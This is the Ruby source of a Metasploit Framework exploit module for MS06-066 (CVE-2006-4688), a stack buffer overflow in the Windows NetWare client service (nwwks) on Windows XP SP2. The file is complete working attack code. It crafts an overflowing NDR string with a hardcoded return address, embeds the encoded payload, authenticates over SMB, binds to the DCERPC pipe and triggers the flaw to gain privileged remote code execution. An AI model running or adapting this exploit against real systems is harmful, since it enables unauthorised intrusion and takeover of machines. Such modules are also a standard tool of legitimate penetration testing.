Microsoft Services - nwwks.dll (MS06-066)



##

# $Id: ms06_066_nwwks.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking

    include Msf::Exploit::Remote::DCERPC
    include Msf::Exploit::Remote::SMB


    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Microsoft Services MS06-066 nwwks.dll',
            'Description'    => %q{
                    This module exploits a stack buffer overflow in the svchost service, when the netware
                client service is running. This specific vulnerability is in the nwapi32.dll module.
            },
            'Author'         => [ 'pusscat' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 9262 $',
            'References'     =>
                [
                    [ 'CVE', '2006-4688'],
                    [ 'OSVDB', '30260'],
                    [ 'BID', '21023'],
                    [ 'MSB', 'MS06-066'],

                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'thread',
                },
            'Privileged'     => true,
            'Payload'        =>
                {
                    'Space'    => 1000,
                    'BadChars' => "",
                    'Compat'   =>
                    {
                        # -ws2ord XXX?
                    },
                    'StackAdjustment' => -3500,
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [
                        'Windows XP SP2',
                        {
                            'Ret'      => 0x616566fb, # modemui.dll   [esp + 16]: popaw, ret
                        },
                    ]
                ],

            'DefaultTarget' => 0,
            'DisclosureDate' => 'Nov 14 2006'))

        register_options(
            [
                OptString.new('SMBPIPE', [ true,  "The pipe name to use (browser, srvsvc, wkssvc, ntsvcs)", 'nwwks']),
            ], self.class)

    end

    def exploit
        # [in] [unique] wchar *
        # [in] [unique] wchar *
        # [out] long

        ofstring    = Rex::Text.to_unicode('\\\\') + rand_text(292) + [ target.ret ].pack('V') + "\x00\x00"
        stubdata =
            NDR.long(rand(0xffffffff)) +
                NDR.UnicodeConformantVaryingString(rand_text(rand(128)) + "\x00") +
            NDR.long(rand(0xffffffff)) +
                NDR.UnicodeConformantVaryingStringPreBuilt(payload.encoded + "\x00\x00") +
            NDR.long(rand(0xffffffff)) +
                NDR.UnicodeConformantVaryingString(rand_text(rand(128)) + "\x00") +
            NDR.long(rand(0xffffffff)) +
                NDR.UnicodeConformantVaryingString(rand_text(rand(128)) + "\x00") +
                NDR.UnicodeConformantVaryingStringPreBuilt(ofstring)

        print_status("Connecting to the SMB service...")
        connect()
        smb_login()

        handle = dcerpc_handle('e67ab081-9844-3521-9d32-834f038001c0', '1.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
        print_status("Binding to #{handle} ...")
        dcerpc_bind(handle)
        print_status("Bound to #{handle} ...")

        print_status("Calling the vulnerable function...")

        begin
            dcerpc.call(0x01, stubdata)
        rescue Rex::Proto::DCERPC::Exceptions::NoResponse
            print_status('Server did not respond, this is expected')
        rescue => e
            if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
                print_status('Server disconnected, this is expected')
            else
                raise e
            end
        else
            print_status("Got #{dcerpc.last_response.stub_data.length} bytes: #{dcerpc.last_response.stub_data}")
        end

        # Cleanup
        handler
        disconnect

        if (dcerpc.last_response != nil and
            dcerpc.last_response.stub_data != nil and
            dcerpc.last_response.stub_data == "\x04\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00")
            return true
        else
            return false
        end
    end

end